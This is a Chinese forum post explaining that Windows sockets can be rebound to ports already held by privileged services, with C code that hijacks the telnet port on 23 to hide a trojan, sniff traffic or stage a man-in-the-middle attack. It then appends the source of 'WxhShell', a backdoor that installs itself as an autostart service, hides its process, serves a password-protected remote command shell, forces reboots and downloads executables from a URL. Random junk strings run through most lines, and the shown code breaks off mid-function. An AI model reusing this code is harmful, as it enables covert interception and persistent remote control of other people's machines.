社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16745阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6zuTQ^pz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D7Q$R:6|  
]K,Tnyp  
  saddr.sin_family = AF_INET; Od,qbU4O  
PP33i@G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K:# I  
_TQj~W<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @>Km_Ax  
VY=jc~c]v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h^(* Tv-!  
+E(L\  
  这意味着什么?意味着可以进行如下的攻击: = x)-u8P  
DAr1C+Dy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '$]97b7G  
>$/>#e~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N]=q|D  
8\A#CQ5b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^KT Y?  
scz&h#0V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .~~T\rmI  
!Pfr,a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =wV<hg)C  
m'=Crei  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e)? .r9pA;  
=|y9UlsD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,Ae6/D$h/  
xHLlMn4M  
  #include h(u8&MHx  
  #include  B Qxs~  
  #include ag;pN*z  
  #include    oDAXiY$u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9`X\6s  
  int main() hT&Y#fh  
  { 9Uekvs=r=M  
  WORD wVersionRequested; 2*l/3VW  
  DWORD ret; bUdLs.:  
  WSADATA wsaData; Q1I6$8:7  
  BOOL val; x}I+Iggi  
  SOCKADDR_IN saddr; J$w<$5UY  
  SOCKADDR_IN scaddr; C]`$AqKl  
  int err; qv KG-|j  
  SOCKET s; z3m85F%dR  
  SOCKET sc; WUXx;9>  
  int caddsize; '"/=f\)u  
  HANDLE mt; umH40rX+  
  DWORD tid;   .glA gt  
  wVersionRequested = MAKEWORD( 2, 2 ); ;) z:fToh  
  err = WSAStartup( wVersionRequested, &wsaData ); Y0dEH^I  
  if ( err != 0 ) { x,@B(9No  
  printf("error!WSAStartup failed!\n"); Gd xnpE  
  return -1; V]e8a"/[{  
  } g63(E,;;J  
  saddr.sin_family = AF_INET; /cQueUME`  
   _P 3G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ND#Yen ye  
-[9JJ/7y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1POmP&fI(  
  saddr.sin_port = htons(23); }"P|`"WW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b)5uf'?-  
  { Ru!iR#s)!  
  printf("error!socket failed!\n"); H0gbSd+  
  return -1; eFTpnG  
  } g<; q.ZylT  
  val = TRUE; ?*1uN=oI{*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o!Ieb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;yLu R  
  { l<LP&  
  printf("error!setsockopt failed!\n"); (!7sE9rP  
  return -1; "W7K"=X  
  } bL+_j}{:N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RSyUaA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y@:h4u"3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mCsMqDH  
.*?wF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I7vz+>Jr  
  { ):68%,  
  ret=GetLastError(); M2>Vj/  
  printf("error!bind failed!\n");  +yH7v5W  
  return -1; z2_*%S@  
  } "ESwA  
  listen(s,2); Ky!Y"   
  while(1) 2Aazy'/  
  { ~Z?TFg  
  caddsize = sizeof(scaddr); j@U]'5EVB  
  //接受连接请求 ^Y>F|;M#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [P=Jw:E  
  if(sc!=INVALID_SOCKET) ~hnQUS`A  
  { ll<Xz((o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $%CF8\0  
  if(mt==NULL) sV{,S>s   
  { Sw8]EH6  
  printf("Thread Creat Failed!\n"); +mmSfuO&\  
  break; 3G)#5 Lf<  
  } 7u S~MW  
  } ?GoR^p #p  
  CloseHandle(mt); l|~A#kq  
  } vMi;+6'n>  
  closesocket(s); Jr ,;>   
  WSACleanup(); `iAF3:  
  return 0; 0d"[l@UU0  
  }   &0OG*}gi  
  DWORD WINAPI ClientThread(LPVOID lpParam) a LroD$#  
  { mPtZO*Fc  
  SOCKET ss = (SOCKET)lpParam; EyD=q! ZVZ  
  SOCKET sc; q77;ZPfs8  
  unsigned char buf[4096]; jk; clwyz/  
  SOCKADDR_IN saddr; +,T RfP Fb  
  long num; 85|OGtt  
  DWORD val; U0 Yll4E  
  DWORD ret; (cAIvgI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h5{'Q$Erl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1MP~dRZ$  
  saddr.sin_family = AF_INET; xd q?/^E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zl>nSndRE  
  saddr.sin_port = htons(23); !*F1q|R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L O_k@3  
  { SIF/-{i(X  
  printf("error!socket failed!\n"); [fya)}  
  return -1; @Q ]=\N:  
  } 7 S#J>*  
  val = 100; *v jmy/3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ja7R2-0ii#  
  { @w#-aGJO  
  ret = GetLastError(); ?*G|XnM&  
  return -1; c?f4Q,%|  
  } f}#~-.NGs  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c@!_ /0  
  { $Uq|w[LA  
  ret = GetLastError(); :t"^6xt  
  return -1; ^e2VE_8L  
  } Xy|So|/bKd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _wbF>z  
  { n71r_S*  
  printf("error!socket connect failed!\n"); V%7WUq  
  closesocket(sc); ?K$(817  
  closesocket(ss); oo/qb`-6  
  return -1; w=0(<s2  
  } =1FRFZI!j  
  while(1) 1y4|{7bb  
  { }W C[$Y_@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n Mq,F#`3N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KVoS C @w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5Md=-,'J!  
  num = recv(ss,buf,4096,0); sQ UM~HD\a  
  if(num>0) ="1Ind@w!  
  send(sc,buf,num,0); GfxZ'VIn  
  else if(num==0) fa jGZyd0:  
  break; :KSV4>X[%a  
  num = recv(sc,buf,4096,0); rKe2/4>0X  
  if(num>0) fy>{QC\  
  send(ss,buf,num,0); aD<A.Lhy  
  else if(num==0) v+W&9>  
  break; )al]*[lY  
  } -]N x,{  
  closesocket(ss); 9tU]`f  
  closesocket(sc); ''A_[J `>  
  return 0 ; 2@n{yYwy  
  } [`#CXq'  
O%WIf__Q  
1![!+X:w  
========================================================== e/KDw  
!fV+z%:  
下边附上一个代码,,WXhSHELL Avge eJi  
j"t(0 m  
========================================================== 0cv{  
YquI$PV _  
#include "stdafx.h" 'Cb6Y#6  
uanhr)Ys  
#include <stdio.h> gDQ^)1k  
#include <string.h> 6 C1#/  
#include <windows.h> J|W<;  
#include <winsock2.h> 1jmjg~W  
#include <winsvc.h> JK7G/]j+Ez  
#include <urlmon.h> A9KET$i@v  
.Yamc#A-  
#pragma comment (lib, "Ws2_32.lib") >2y':fO  
#pragma comment (lib, "urlmon.lib") %8RrRW  
JU4<|5H  
#define MAX_USER   100 // 最大客户端连接数 NlA,'`,  
#define BUF_SOCK   200 // sock buffer oM X  
#define KEY_BUFF   255 // 输入 buffer 8 `v-<J  
n2"a{Ofhlf  
#define REBOOT     0   // 重启 gldAP:  
#define SHUTDOWN   1   // 关机 Q4#.X=.d  
aj-Km`5r}  
#define DEF_PORT   5000 // 监听端口 HDz5&7* .  
iQ0KfoG?U  
#define REG_LEN     16   // 注册表键长度 *^pR%E .  
#define SVC_LEN     80   // NT服务名长度 w49t9~  
Fx]WCQo  
// 从dll定义API #>a\>iKQ2q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J@/kIrx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [7:,?$tC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CQc+#nRe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o3XvRj  
@JiLgIe `  
// wxhshell配置信息 0.Q Ujw  
struct WSCFG { %HhBt5w  
  int ws_port;         // 监听端口 ,5P0S0*{  
  char ws_passstr[REG_LEN]; // 口令 [CTnXb  
  int ws_autoins;       // 安装标记, 1=yes 0=no +WZX.D  
  char ws_regname[REG_LEN]; // 注册表键名 k`cfG\;r  
  char ws_svcname[REG_LEN]; // 服务名 ^L,K& Jd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^7`BP%6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v1#otrf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (fhb0i-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s2a{>II6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _f7 9wx\B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ky`qskvu  
=?5]()'*n  
}; w$>u b@=  
8:q1~`?5"b  
// default Wxhshell configuration oe ~'o'  
struct WSCFG wscfg={DEF_PORT, 3RUy, s  
    "xuhuanlingzhe",  > ^O7  
    1, \Zb;'eDv  
    "Wxhshell", ImA @}:  
    "Wxhshell", pj8=wch  
            "WxhShell Service", iR HQ:Y!  
    "Wrsky Windows CmdShell Service", b;L\EB  
    "Please Input Your Password: ", ~kV/!=  
  1, Mg+2. 8%  
  "http://www.wrsky.com/wxhshell.exe", A_rG t?i  
  "Wxhshell.exe" i[i4h"$0  
    }; 8u"U1  
6u?>M9  
// 消息定义模块 E[OJ+ ;c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gZVc 5u<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &L3M]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "6A ` q\  
char *msg_ws_ext="\n\rExit."; {aZ0;  
char *msg_ws_end="\n\rQuit."; RCJ|P~*  
char *msg_ws_boot="\n\rReboot..."; IM*y|UHt  
char *msg_ws_poff="\n\rShutdown..."; g/4[N{Xf  
char *msg_ws_down="\n\rSave to "; (xycJ`N  
t <~h'U  
char *msg_ws_err="\n\rErr!"; -$\y_?}  
char *msg_ws_ok="\n\rOK!"; }YQX~="  
Xa[.3=bV?  
char ExeFile[MAX_PATH]; )Dm s  
int nUser = 0; @ 8(q$  
HANDLE handles[MAX_USER]; ,.S~ Y  
int OsIsNt; 9p85Pv [M=  
)w em|:H  
SERVICE_STATUS       serviceStatus; rD tY[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K&u_R  
1pVS&0W  
// 函数声明 .C%<P"=J4h  
int Install(void); D#aDv0b  
int Uninstall(void); b\f O8{k  
int DownloadFile(char *sURL, SOCKET wsh); #x@$ lc=k3  
int Boot(int flag); oueC  
void HideProc(void); 7Y lchmd  
int GetOsVer(void); WH%g(6w1j  
int Wxhshell(SOCKET wsl); cs48*+m  
void TalkWithClient(void *cs); _r#Z}HK  
int CmdShell(SOCKET sock); qyb?49I  
int StartFromService(void); H;mSkRD3N  
int StartWxhshell(LPSTR lpCmdLine); VD AaYDi  
"37lx;CH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _=r6=.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YO`]UQ|dc  
Brw@g8w-X  
// 数据结构和表定义 t}a: p6D]  
SERVICE_TABLE_ENTRY DispatchTable[] = kb%;=t2  
{ A.F%Ycq  
{wscfg.ws_svcname, NTServiceMain}, a9e>iU  
{NULL, NULL} {'flJ5]  
}; je\Ph5"  
85= )lu  
// 自我安装 |o"?gB}Dh  
int Install(void) sQ3 [<  
{ QP==?g3  
  char svExeFile[MAX_PATH]; JBj]najN  
  HKEY key; xh-o}8*n"  
  strcpy(svExeFile,ExeFile); z9f-.72"X  
/A\8 mL8  
// 如果是win9x系统,修改注册表设为自启动 'd0~!w  
if(!OsIsNt) { 810|Tj*U%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =}^9 wP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AD> e?u  
  RegCloseKey(key); :]K4KFM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z9E\,Ly  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `%bypHeSp  
  RegCloseKey(key); Xfc-UP|}  
  return 0; q_lKKzA  
    } Q>qUk@  
  } t|?ez4/{z  
} j a[Et/r  
else { @/~omg}R  
AOZP*\k  
// 如果是NT以上系统,安装为系统服务 K`eCDvlH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^S<Y>Nm]  
if (schSCManager!=0) n)/z0n!\  
{ BU)U/A8iS  
  SC_HANDLE schService = CreateService wVXS%4|v  
  ( &<g|gsG`  
  schSCManager, f^ZRT@`O  
  wscfg.ws_svcname, >~rTqtKd  
  wscfg.ws_svcdisp, O^PKn_OJ  
  SERVICE_ALL_ACCESS, G&SB-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @&!ZZ 1V8  
  SERVICE_AUTO_START, ;<Sd~M4f  
  SERVICE_ERROR_NORMAL, hR n<em  
  svExeFile, CZe ]kXNv  
  NULL, )CYGQMK  
  NULL, w_c"@CjkE  
  NULL, X56q-|  
  NULL, T.F!+  
  NULL hW' )Sp  
  ); P;y45b  
  if (schService!=0) RU{twL.B  
  { ? V1*cVD6i  
  CloseServiceHandle(schService); yu {d! {6  
  CloseServiceHandle(schSCManager); t,Lrfv])  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >{ ]%F*p4  
  strcat(svExeFile,wscfg.ws_svcname); G5_=H,Vmd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { umfD>" ^I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~D+bh~  
  RegCloseKey(key); dbLZc$vPj  
  return 0; iXkF1r]i  
    } &AMl:@p9  
  } mUC)gA/  
  CloseServiceHandle(schSCManager); PQt")[  
} M t|zyXyzX  
} SGRp3,1\4%  
Jrf=@m\dk  
return 1; KkyVSoD\  
} tFn)aa~L  
k}CVQ@nd  
// 自我卸载 M^Yh|%M  
int Uninstall(void) 2DrM3ZU8  
{ 6- YU[HF  
  HKEY key; 5~U/   
+/7?HGf  
if(!OsIsNt) { hag$GX'2k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,KZ~?3$yj  
  RegDeleteValue(key,wscfg.ws_regname); =?* !"&h  
  RegCloseKey(key); c):/!Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wu6;.xTLl  
  RegDeleteValue(key,wscfg.ws_regname); &B;~  
  RegCloseKey(key); @;4zrzQi7  
  return 0; h*a(_11  
  } bs&43Ae  
} FGJ1dBLr  
} xu%k~4cB,  
else { GA )`-*.R  
[aLI '  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q*cf(  
if (schSCManager!=0) Po0A#Zl  
{ iVr JQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dpac^ST  
  if (schService!=0) U>SShpmZA  
  { S+6.ZZ9c  
  if(DeleteService(schService)!=0) { Q\vpqE! 9  
  CloseServiceHandle(schService); #z%fx   
  CloseServiceHandle(schSCManager); MJ)RvNF  
  return 0; hE/cd1iJ$  
  } Lb-OsKU  
  CloseServiceHandle(schService); 5;WH:XM  
  } Qel9G($=  
  CloseServiceHandle(schSCManager); I 34>X`[o  
} G.B2('  
} e%M;?0j  
 K5 z<3+  
return 1; ue"~9JK.  
} ]/6z; ~3U  
@ q3k%$4  
// 从指定url下载文件 **CR} yV  
int DownloadFile(char *sURL, SOCKET wsh) >Tx?%nQ  
{ (WJRi:NP?  
  HRESULT hr; _f,C[C[e&  
char seps[]= "/"; NxY#NaE:?4  
char *token; e9tjw[+A  
char *file; hfTY.  
char myURL[MAX_PATH]; ~?}Emn;t  
char myFILE[MAX_PATH]; kTB 0b*V  
5DZ#9m/  
strcpy(myURL,sURL); -2[a2^a'  
  token=strtok(myURL,seps); X?',n 1  
  while(token!=NULL)  _[3D  
  { ,0sm  
    file=token; eByz-,{P  
  token=strtok(NULL,seps); V!=,0zy~Z  
  } `w Vyb>T  
0d&6lqTo  
GetCurrentDirectory(MAX_PATH,myFILE); aXYY:;  
strcat(myFILE, "\\"); F>l] 9!P|m  
strcat(myFILE, file); !pW0qX\1n  
  send(wsh,myFILE,strlen(myFILE),0); _{KG 4+5\X  
send(wsh,"...",3,0); dn3y\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4$<JHo @.  
  if(hr==S_OK) ~ 7s!VR  
return 0; <'*LRd$1  
else ;^*W+,4WB  
return 1; CCx&7f  
>GRxHK@G  
} Otuf] B^s  
NLqzi%s  
// 系统电源模块 T5h H  
int Boot(int flag) 7NGxa6wi  
{ 5;EvNu  
  HANDLE hToken; 7:1Lol-V  
  TOKEN_PRIVILEGES tkp; :I#V.  
.q>iXE_c  
  if(OsIsNt) { $& td=OK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3w'tH4C[Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y N-9[P8C  
    tkp.PrivilegeCount = 1; 1+s;FJ2}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?@86P|19  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~DwpoeYX  
if(flag==REBOOT) { hVY$;s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9'B `]/L  
  return 0; ]f_p 8?j"  
} ~xFkU#  
else { !a\^Sk /  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N!}f}oF  
  return 0; [/r(__.  
} _[BP 0\dPW  
  } \FaP|28h  
  else { L/K(dkx  
if(flag==REBOOT) { wCBplaojJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !N^@4*  
  return 0; ;uGv:$([g  
} P%n>Tg80M  
else { Kg]J/|0\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -~w'Xo#  
  return 0; QT}tvm@PMq  
} A#,ZUOPGH  
} t uX|\X  
h";L  
return 1; UiNP3TJ'L  
} ;tf=gdX;  
er\|i. Y  
// win9x进程隐藏模块 -Y8B~@]P?  
void HideProc(void) dO\"?aiD  
{ U<XG{<2  
*4 n)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cMIEtK`  
  if ( hKernel != NULL ) #dHa,HUk  
  { e3\T)x &=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pj(,Zd[47  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  !VpoZ  
    FreeLibrary(hKernel); %TqC/c  
  } &^nGtW%a 9  
,!9zrYi}  
return; mE[y SrV  
} l,).p  
h+,@G,|D  
// 获取操作系统版本 7HWmCaa[  
int GetOsVer(void) 6LhTBV  
{ 5zJq9\)d+  
  OSVERSIONINFO winfo; uAk.@nfiEv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I1J-)R+  
  GetVersionEx(&winfo); "N#Y gSr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6u%&<")4HP  
  return 1; ~J]qP#C  
  else <3 uNl  
  return 0; VU#7%ufu&  
} HOi`$vX }N  
 !u hT  
// 客户端句柄模块 q\%I#1  
int Wxhshell(SOCKET wsl) xD7]C|8o  
{ p<%d2@lp  
  SOCKET wsh; \7_y%HR  
  struct sockaddr_in client; zm#  ?W  
  DWORD myID; K NOIZj   
[>9is=>o.  
  while(nUser<MAX_USER) <ZW-QN4  
{ VN.Je: Ju  
  int nSize=sizeof(client); o;*Q}Gr<M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8CE = 4  
  if(wsh==INVALID_SOCKET) return 1; $Kd>:f=A  
AFn7uW!9Gw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y>LBl]  
if(handles[nUser]==0) tX[WH\(xI  
  closesocket(wsh); 1Ws9WU  
else R-14=|7a-  
  nUser++; r|Z{-*`  
  } ABkl%m6xf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h`KU\X ) A  
@|!z9Y*  
  return 0; 7 [7"A  
} n@w%Zl  
TZ`SZDc7_  
// 关闭 socket =c7;r]Ol  
void CloseIt(SOCKET wsh) /RF7j;  
{ }WV:erg`  
closesocket(wsh); }7X%'Bg=M  
nUser--; >d6|^h'0  
ExitThread(0); Gh$^{  
} 11lsf/IP  
EV?z`jE9  
// 客户端请求句柄 Xr{v~bf  
void TalkWithClient(void *cs) ;d?R:Uw8  
{ Js;h%  
I_BJH'!t  
  SOCKET wsh=(SOCKET)cs; 4\i[m:e=@  
  char pwd[SVC_LEN]; /<3UQLMa  
  char cmd[KEY_BUFF]; 3a|\dav%  
char chr[1];  3CJwj  
int i,j; ;Xw~D_uv  
liSmjsk  
  while (nUser < MAX_USER) { YK\X+"lB  
7 d vnupLh  
if(wscfg.ws_passstr) {  @8 6f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NO3/rJ6-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 16 $B>  
  //ZeroMemory(pwd,KEY_BUFF); o}!PQ#`M  
      i=0; Xeaj xcop#  
  while(i<SVC_LEN) { `2snz1>!j  
8- i#8'/x  
  // 设置超时 6wxs1G  
  fd_set FdRead; Z}QB.$&  
  struct timeval TimeOut; g5yJfRLxp  
  FD_ZERO(&FdRead); ]{iQ21`a-  
  FD_SET(wsh,&FdRead); ceV}WN19l  
  TimeOut.tv_sec=8; 8_8l.!~  
  TimeOut.tv_usec=0; xA/D'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hQ i2U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XRH!]!  
OY d !v`<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1qch]1 ^G  
  pwd=chr[0]; ,)XLq8  
  if(chr[0]==0xd || chr[0]==0xa) {  J *yg&  
  pwd=0; uc=B,3  
  break; q@qsp&0/  
  } dscgj5b1~  
  i++; . ^u,.  
    } >bxS3FCX  
M{\I8oOg  
  // 如果是非法用户,关闭 socket #?E"x/$Y6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sRW<me;  
} zTp"AuNHN  
,>M[@4`,U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;,TFr}p`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <[phnU^ 8  
(ZGbh MK  
while(1) { Nl/dX-I  
\lY_~*J  
  ZeroMemory(cmd,KEY_BUFF); ebq4g387X  
"8/,Y"W"  
      // 自动支持客户端 telnet标准   @,}UWU  
  j=0; OVJ0}5P*  
  while(j<KEY_BUFF) { 5\v3;;A[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %)|s1B'd  
  cmd[j]=chr[0]; omFz@  
  if(chr[0]==0xa || chr[0]==0xd) { )1z@  
  cmd[j]=0; ZC ?Xqp  
  break; *R"/|Ka  
  } >eaaaq9B-  
  j++;  bLL2  
    } ye97!nIg@  
i@q&5;%%  
  // 下载文件 K@2),(z  
  if(strstr(cmd,"http://")) { t7pFW^&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }b}m3i1  
  if(DownloadFile(cmd,wsh)) vX>)je5#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xG 1n GO  
  else YR70BOxK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Ly6`HZ9  
  } 0_/[k*Re  
  else { `XKLU  
WAqINLdX  
    switch(cmd[0]) { maZ)cW?  
  ?M2J wAK5  
  // 帮助 cNrg#Asen&  
  case '?': { )+^+s d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bD^owa  
    break; 4| f*eO  
  } Mt$ *a  
  // 安装 X2_=agEP  
  case 'i': { Ef\ -VKh  
    if(Install()) Wqnc{oq |$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `L zPotz  
    else W_=f'yb:E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0K+ne0I  
    break; NbobliC=  
    } ?< />Z)  
  // 卸载 x2EUr,7  
  case 'r': { +vH4MwG$.&  
    if(Uninstall()) >?b!QU* a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M}a6Vu9  
    else c$,P ~W s'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dv"9qk  
    break; O^.#d  
    } 8}[).d160  
  // 显示 wxhshell 所在路径 bOB \--:]  
  case 'p': { uH]OEz\H'  
    char svExeFile[MAX_PATH]; !VJoM,b8  
    strcpy(svExeFile,"\n\r"); 97]E1j]  
      strcat(svExeFile,ExeFile); hM{bavd  
        send(wsh,svExeFile,strlen(svExeFile),0); ]lbuy7xj63  
    break; . vV|hSc  
    } Ulyue  
  // 重启 7r!x1  
  case 'b': { Ey2^?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VRMXtQ*1Dm  
    if(Boot(REBOOT)) WY/}1X9.%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |N2#ItBbW  
    else { \Z/@C lCm  
    closesocket(wsh); *T/']t  
    ExitThread(0); 2 nCA<&  
    } vQCy\Gi   
